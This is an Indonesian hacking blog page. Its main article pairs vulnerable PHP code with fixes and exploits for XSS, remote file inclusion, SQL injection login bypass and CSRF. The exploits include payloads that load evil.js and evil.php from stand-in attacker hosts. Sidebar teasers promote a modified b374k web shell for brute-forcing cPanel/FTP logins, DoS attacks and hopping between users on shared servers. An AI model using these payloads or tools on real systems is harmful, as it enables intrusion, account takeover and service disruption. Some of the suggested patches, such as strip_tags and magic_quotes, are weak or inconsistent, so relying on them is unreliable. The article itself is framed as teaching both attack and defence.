[close]
..::Personal Site::..
Bruteforce dengan shell
sebetulnya teknik ini sama dengan postingan itu sama2 jumping buat ngebrote user dan password cpanel, ftp, ataupun whm oke langsung aja yah : 1. download shell yg ada di sini 2. masukan passwordnya biar bisa akses shellnya 3. klik menu BruteForce 4. isikan list password yg anda suka yg sering ane gunain Password List : 12345 123456 1234567 12345678 123456789 123...
Tutorial Dos Attack untuk menjurus ke DDOS
kali ini ane mau buat tutor dos yah tau kan dos kalo belom tau bisa berkunjung ke http://id.wikipedia.org/wiki/Serangan_DoS oke langsung aja yah :D : 1. download shell yg ada di sini 2. masukan passwordnya biar bisa akses shellnya 3. klik menu DOS akan menampilkan form seperti berikut : 4. isi fild "host" fild "host" bisa di isi dengan domain ataupun ip target 5. isi fi...
Tutorial buat para jumper
inget pilem jumper yg suka lompat kalo ini teknik sama suka lompat ke user lain satu server oke mulai aja yah tutornya :D 1. download shell yg ada di sini 2. masukan passwordnya biar bisa akses shellnya 3. klik menu readable akan menghasilkan hasil scanan user yg readable 4. copy salah satu list contoh : /home/gracepcc/public_html 5. klik menu explore 6. pastekan read...
Ngedit Script b374k
nih scriptnya copas ke notepad terus save dengan file tipe php :D (*yg udah tau pasti ) http://xjamesx.tk/404.txt ngedit b374k biar 4 in 1, ga perlu banyak3 upload cukup 1 file sudah mematikan, fitur yg ditambahkan = bruteforce, readable, DOS, dan pengunaan password untuk mengakses shell tersebut :D passwordnya = devilzc0de atau bisa ubah sendiri password hashnya dalam bentuk md...
Steganografi Audio
—Steganografi adalah seni dan ilmu menulis pesan tersembunyi atau menyembunyikan pesan dengan suatu cara sehingga selain si pengirim dan si penerima, tidak ada seorangpun yang mengetahui atau menyadari bahwa ada suatu pesan rahasia. —Teknik steganografi meliputi banyak sekali metode komunikasi untuk menyembunyikan pesan rahasia (teks, audio atau gambar) di dalam berkas-berkas lain yang meng...
POC buat ngedeface++
Wah dah lama ga ngeblog kali ini gw mau share beberapa teknik2(POC) buat ngedeface . kalo yang sudah pada tau teknik2 ini jangan pada ngina yah maklum nubie mau coba bikin artikel :p yang sudah baca yah jangan lupa komen2nya yah itung2 belajar bareng :) ok mulai aja deh ke tutor hal yg diperlukan : berdoa siapin makanan ringan dan segelas kopi (java) koneksi inte...
Mencegah serangan Syn & Ping Flood Attack (DOS)
1. Mencegah paket Syn Flood Attack Buat sebuah file bernama closesyn.sh yang isinya sebagai berikut untuk mencegah serangan syn flood #!bin/sh #Menghapus semua Rule iptables -F iptables -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT #blok paket syn yang dicurigai jahat iptables -N synjahat iptables -A INPUT -p tcp --syn -j synjahat iptables -A synj...
SQL Injection Flaw Patching
dan diambil dari http://www.indonesianhacker.org/showthread.php?t=529 yang diposting oleh v4mp Jangan cuma bisa attack. Tapi juga harus bisa defend.  Langsung aja.. Ini patch untuk mencegah serangan SQL Injection di halaman dinamis pada PHP + MySQL. Biasanya halaman dinamis ini bentuknya kayak gini http://uhui.com/vuln.php?id=[Input_Angka] Bentuk umum kode di halaman dinamis ph...
Web Security Yin-Yang (Attacking & Defending)
WEB SECURITY YIN-YANG Ditulis oleh: gentoo, foobar4joo@gmail.com "If you know both yourself and your enemy, you can win a hundred battles without a single loss." Di berbagai segi kehidupan, sangatlah di butuhkan keseimbangan. Bahkan yang sangat terkenal adalah sebuah ungkapan dari Sun Tzu yang saya tuliskan diatas, mengenali kelemahan musuh adalah penting, tetapi lebih penting lagi mengenali ...
Manifesto Seorang Hacker
Ini adalah dunia kami sekarang, dunianya electron dan switch, keindahan sebuah baut. Kami mendayagunakan sebuah system yang telah ada tanpa membayar, yang bisa jadi biaya tersebut sangatlah murah jika tidak dijalankan dengan nafsu tamak mencari keuntungan, dan kalian sebut kami criminal. Kami menjelajah, dan kalian sebut kami criminal. Kami mengejar pengetahuan, dan kalian sebut kami criminal...

Web Security Yin-Yang (Attacking & Defending)

WEB SECURITY YIN-YANG

Ditulis oleh: gentoo, foobar4joo@gmail.com

“If you know both yourself and your enemy, you can win a hundred battles without a single loss.”

Di berbagai segi kehidupan, sangatlah di butuhkan keseimbangan. Bahkan yang sangat terkenal adalah sebuah ungkapan dari Sun Tzu yang saya tuliskan diatas, mengenali kelemahan musuh adalah penting, tetapi lebih penting lagi mengenali kelemahan diri sendiri, karena dengan begitu kita dapat seimbang dala, bertahan dan menyerang.  Saya harap artikel ini nantinya akan dapat menjadi referensi singkat yang membahas tentang menyerang dan bertahan dalam dunia keamanan web (web security), dan artikel ini diharapkan juga bisa menjadi titik mula bagi yang tertarik dengan keamanan web, sekaligus pembuka mata bagi para programmer web agar sedikit banyak mulai menaruh perhatian pada keamanan aplikasi yang meraka buat.  Artikel ini akan membahas beberapa jenis celah keamanan web yang umumnya selalu menjadi primadon dikalangan para pemerhati keamanan web, tetapi bahasan disini bukan mencakup detil tiap celah, tetapi lebih ke arah Proof-of-concept dari cara bertahan dan menyerang. Disajikan dengan menggunakan PHP sebagai bahasa pemrograman “dynamic”, HTML, serta mysql sebagai “database engine”.  Formatnya pun akan selalu sama, penyajian kode yang memiliki celah, cara memperkuatnya (bertahan) kemudian diikuti dengan bagaimana metode untuk mengexploitasinya. Jangan berharap artikel ini akan mengajarkan anda dari Nol, bagaimana membuat web, mengkode dengan PHP dan mysql, atau penjelasan detil (pengertian-panjang-lebar) tentang setiap celah.  Partisipasi aktif andalah yang akan menentukan apakah artikel ini akan bermanfaat buat anda nantinya

===// Yin-Yang \\===

====// XSS Reflected \\====
kode yang memiliki celah untuk di serang:


——–\\ sweet.php
PHP Code:

echo ‘Selamat Datang’ . $_GET['sweet'];

——–//
Adapun kode untuk melindungi adalah dengan menambahkan fungsi “strip_tags” atau “htmlspecialchars” untuk memeriksa variabel tersebut terlebih dahulu.
——–\\sweet-patch.php
PHP Code:

echo ‘Selamat Datang’ . strip_tags($_GET['sweet']);

atau PHP Code:

echo ‘Selamat Datang’ . htmlspecialchars($_GET['sweet']);

——–//


——// Eksploitasi \\——
Code:sweet.php?sweet=<script>alert(“XSS”;)</script>

====// XSS Persistent \\====

kode yang memiliki celah untuk di serang:


——–\\ sweet.php
PHP Code:

$sweet  = trim($_POST['txtSweet']);$sweet  = mysql_real_escape_string($sweet);$query  = “INSERT INTO sweet (sweet) VALUES (‘$sweet’;);”;

——–//
Adapun fungsi yang digunakan untuk mengamankannya adalah “stripslashes”, “addslashes”, “htmlspecialchars”
——–\\sweet-patch.php
PHP Code:

$sweet = stripslashes($sweet);$sweet = mysql_real_escape_string($sweet);$sweet = htmlspecialchars($sweet);$query = “INSERT INTO sweet (sweet) VALUES (‘$sweet’;);”;

——–//


——// Eksploitasi \\——
Code:

sweet.php?sweet=<SCRIPT SRC=http://dare.dev.il/evil.js?<B>Bedanya, xss exploit ini akan tersimpan ke database dan akan selalu di eksekusi setiap halaman sweet.php di load, selanjutnya tinggal keahlian anda berkreasi pada script evil.js


====// File Inclusion \\====

Kode yang memiliki celah untuk di serang:


——–\\berkas.php
PHP Code:

$file = $_GET['halaman'];

——–//

Adapun Untuk mengamankan berkas.php, cukup dengan mendefinisikan file yangingin kita include secara pasti.
——–\\berkas-patch.php
PHP Code:

$file = $_GET['halaman'];

// hanya mengijinkan sweet.phpif ( $file != “sweet.php” ) {echo “ERROR: File not found!”;exit;}

——–//

|——| Atau untuk melengkapinya, silahkan melakukan serring “Off” pada Directive| allow_url_fopen| allow_url_include| pada php.ini|——


——// Eksploitasi \\——

Code:berkas.php?halaman=http://dare.dev.il/evil.phpSelanjutnya tergantung keahlian anda berkreasi pada script evil.php, agar berbagai perintah dalam evil.php dapat tereksekusi, ada beberapa syarat lain yang harus dipenuhi, dan ini menjadi PR anda untuk mencari tahu.


====// SQL Injection \\====

SQL injection adalah salah satu teknik yang cukup tua untuk dibahas, celah ini pada web aplikasilah yang paling banyak memberikan andil kepada terkuasainya banyak webserver. Celah ini bisa saya bilang multiplatform karena bisa Database dapat berpasangan dengan bahasa permrograman apapun dan berjalan di sistem-operasi apapun.
Untuk teknik ini saya tidak ingin panjang lebar, tetapi khusus untuk celah lawas ini, kode yang akan saya berikan lengkap, dan bagi para pencinta “salin & tempel” akan dengan mudah dapat mengapliaksikannya, hmm sepertinya tidak juga, karena setidaknya kamu harus paham database, membuat tabel dan mengkoneksikannyadengan php
Ok, berikut adalah kode yang telah memiliki tempat sendiri dalam sejarah keamanan aplikasi web :lol:


——–//vulnlogin.php

PHP Code:

<table><form name=”member” method=”post” action=”#”><tr><td colspan=”2″><b>Member Login</b></tr><tr><td>Username</td><td><input type=”text” name=”username” value=”" size=”40″></tr><tr><td>Password</td><td><input type=”password” name=”password” value=”" size=”40″></tr>
<tr><td colspan=”2″><input type=”submit” name=”submit” value=”Submit”><input type=”reset” name=”reset” value=”Reset”></td></form></table>
<?phpinclude ‘config.php’; // ini adalah konfigurasi koneksi aplikasi ke database,ga bisa buat? :lol:
$username = $_POST['username'];$password = $_POST['password'];
$q = “SELECT username, password FROM member WHERE username = ‘$username’ AND \password = ‘$password’ “;
$r = mysql_query($q);if (!$r) {print mysql_error();} else {$row = mysql_fetch_row($r);if (($row[0] != “”;) && ($row[1] != “”;)) {echo “&nbsp;&nbsp;<a href=somerandompagesnameforyou.php>Yeah, you are in!</a>”;} else {echo”<pre> &nbsp;&nbsp;You need to register as a member to login! </pre>”;}}
?>


——–//

dan untuk mengamankannya adalah dengan melakukan filtering pada keduavariabel “username” dan “password”
PHP Code:$username = stripslashes($username);$username = mysql_escape_string($username);$password = stripslashes($password);$password = mysql_real_escape_string($password);|—-| Untuk memperkuatnya, seandainya ada yang terlewat, melakukan setting| “On” untuk| magic_quotes_gpc| pada setting PHP.ini|—-


——// Eksploitasi \\——

Masukkan ‘or ‘1=1” (l33t) pada input box username/password untuk membypasslogin, sehingga rikues akan jadi seperti ini
|—-|
PHP Code:SELECT username, password FROM member WHERE username = ”or’1=1”’ AND password = ”or’1=1”’|—
Selanjutnya, anda simpulkan sendiri


===// Cross Site Requesr Forgery \\===

Kode berikut adalah mempertunjukkan sebuah halaman ganti password untuk admin, yang tidak melakukan pemeriksaan password saat ini, sehingga memungkinkan celah CSRF digunakan.


——–\\ganti.php

PHP Code:

<?php
if (isset($_GET['ganti'])) {$pwd_baru = $_GET['pwd_baru'];$pwd_baru2 = $_GET['pwd_baru2'];
if (($pwd_baru == $pwd_baru2)){$pwd_baru = mysql_real_escape_string($pwd_baru);$pwd_baru = md5($pwd_baru);
$insert=”UPDATE `users` SET pwd = ‘$pwd_baru’ WHERE user = ‘admin’;”;$result=mysql_query($insert) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
echo “<pre>Password Admin Berubah </pre>”;mysql_close();}else{echo “<pre> Password tidak cocok. </pre>”;}
}?>

——–//
Adapun untuk memperbaikinya adalah, dengan melakukan pemeriksaan password saat ini terlebih dahulu sebelum merubah password


——–\\ganti-patch.php

PHP Code:

<?php
if (isset($_GET['ganti'])) {$pwd = $_GET['pwd'];$pwd_baru = $_GET['pwd_baru'];$pwd_baru2 = $_GET['pwd_baru2'];
$pwd = stripslashes( $pwd );$pwd = mysql_real_escape_string( $pwd );$pwd = md5( $pwd );
// Periksa password saat ini (pwd)$qry = “SELECT pwd FROM `users` WHERE user=’admin’ AND pwd=’$pwd’;”;$result = mysql_query($qry) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
if (($pwd_baru == $pwd_baru2) && ( $result && mysql_num_rows( $result ) == 1 )){$pwd_baru = mysql_real_escape_string($pwd_baru);$pass_new = md5($pwd_baru);
$insert=”UPDATE `users` SET pwd = ‘$pwd_baru’ WHERE user = ‘admin’;”;$result=mysql_query($insert) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
echo “<pre> Password Admin Berubah </pre>”;mysql_close();}
else{echo “<pre> Passwords Baru tidak cocok atau password lama anda salah. </pre>”;}
}?>

———//


——// Eksploitasi \\——

Adapun cara eksploitasinya adalah melibatkan kelalaian sang admin, umumnya attacker akan mengirim link tersbut ke email, atau melalui forum dsb dengan harapan sang admin akan meng-click-nya.
Code:<a href=http://nice.ang.el/ganti.php?pwd=&pwd_baru=dudul&pwd_baru2=dudul&ganti=ganti#>klik saya</a>

===// Penutup \\===

Oke, saya harap anda semua yang membaca akan pusing, dan disinilah orang-orang terpilih akan mengikis pembaca lainnya, yup, dengan cepat anda akan segera mencoba dan mencari tahu apa yang saya tulis disini, google! sejak awal di luncurkan adalah referensi terbaik.
Pelajari berbagai fungsi-fungsi yang saya singgung diatas, secara pelan dan jangan terburu-buru , selebihnya selamat datang di dunia web aplikasi yang ‘penuh dengan intrik-intrik, dan semoga sedikit dari saya dapat bermanfaat untuk semua. Logika anda sangat di perlukan disini!


===// Reference \\===

[1].google.inc, http://google.com

[2].OWASP, “The Open Web Application Security Project”, http://owasp.org

[3].semua web aplikasi yang telah saya lihat kode php-nya

Copas dari http://ezine.echo.or.id/ezine21/e21_005.txt
dan diambil dari
sumber .
Semoga bermanfaat.

http://www.james0baster.web.id/v2/wp-content/plugins/wp-post-to-pdf/asset/images/pdf.png

Leave a Reply

[+] kaskus emoticons nartzco

..::james0baster::..

..::james0baster::.. (15)
Berita dan Pengumuman (11)
Hacking (11)
Hacking (8)
ICT (4)
Internet (6)
Jaringan Komputer (7)
Java (1)
Keamanan (5)
Keamanan & Perbaikan WEB (9)
Komputer (8)
Local (3)
Pemerograman (8)
PHP (6)
Tips and Trick (6)

WP Cumulus Flash tag cloud by Roy Tanck and Luke Morton requires Flash Player 9 or better.



James Baster Tamba | Buat Lencana Anda


Update status via Facebook for BlackBerry® smartphones

Update status via james0baster




Foto

Put To Your Site



..::james0baster::..


Find me at

CODER - Indonesian IT Community



james0baster on Facebook Jasakom Community - Powered by vBulletin



james0baster on Twitter Logo



Logo

Iklan



ZALORA Indonesia tempat belanja fashion online dengan koleksi terbaik brand lokal dan internasional, gratis ongkos kirim ke seluruh Indonesia

RSS Indonesian Backtrack

  • [ASK] masalah install keyboard
    saat d step 3, yaitu saat install keyboard. muncul problem, yaitu setelah d klik forward , proses install tidak berlanjut ke step 4, proses install trus saja berada d step 3 dan tidak selesai2, padahal sudah d tggu slama 1/2 jam lebih. tlog dong kasih solusinya. […]
  • Errors were encountered while processing: se-toolkit
    selamat pagi semua... ane ada masalah ni pada saat saat instal aplikasi atau pada saat instal update an... selalu ada error seperti ini Setting up se-toolkit (3.1.3-bt0) ... svn: OPTIONS of 'http://svn.secmaniac.com/social_engineering_toolkit': Could not resolve hostname `svn.secmaniac.com': Host not found (http://svn.secmaniac.com) dpkg: erro […]
  • [ASK] layar blank saat install
    halo bro, pengguna baru perlu bantuan nih. nah jadi saya ada masalah nih PAS MAU INSTALL backtrack ke harddisk (bukan pas selesai install-nya), masalahnya itu waktu mau masuk ke GUI ketika ngetik 'startx', pokoknya pas startx uda di enter, screen di laptop ane langsung ngeblank, dan kelihatannya si nge-hang, jadi harus di force shutdown . ane uda g […]
  • (ASK) Moderator dan sesepuh
    السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ sebelumnya maaf kalo salah kamar dan kalo pertanyaan ku sudah pernah dibahas di treed sebelumnya , aku user baru di IBT dari Jogja , pegen baget rasanya bisa kopdar bareng dengan sesepuh ato temen yang lebih dulu gabung di IBT baik dari luar maupun dalam Jogja sendiri , pertannyaannya : 1.persyarataanya un […]
  • Package operation failed The installation or removal of a software package failed.
    Sore bro semua....n para sesepu... he..he..he... ane ada trouble ni pas instal aplikasi... selalu ada errornya... Package operation failed The installation or removal of a software package failed. Processing triggers for hicolor-icon-theme ... Processing triggers for python-gmenu ... Rebuilding /usr/share/applications/desktop.en_US.UTF8.cache... Processing t […]
  • [ask] remote computer
    all in forum... di sebuah kos, terdapat koneksi internet speedy, semua penghuni kos dapat menggunakannya... suatu hari datang seorang teman, dia numpang online dikos...setelah melihat koneksi yang lemot, dia mengutak-atik CMD (karena OS yg digunakan windows XP), yang terjadi selanjutnya satu kos malah disconnect, laptop yang digunakan untuk memutuskan koneks […]
  • xorg.conf
    brooo....BT ane gag bisa masuk ke desktop..uda startx layarnya hitam aja...... tmen ane bilang xorg.conf yg error, tapi waktu ane ketikkan xorg.conf-command not found " tolong om....ane baru d BT […]
  • fb
    ommmm....... ada group facebook nggak????????? […]
Get Adobe Flash playerPlugin by wpburn.com wordpress themes

Lokasi Pengunjung

free counters

ID Pengunjung

IP

Sponsor

Web Hosting

Logo Pandi

Iklan

Copyright - All Rights Reserved / Developed By james0baster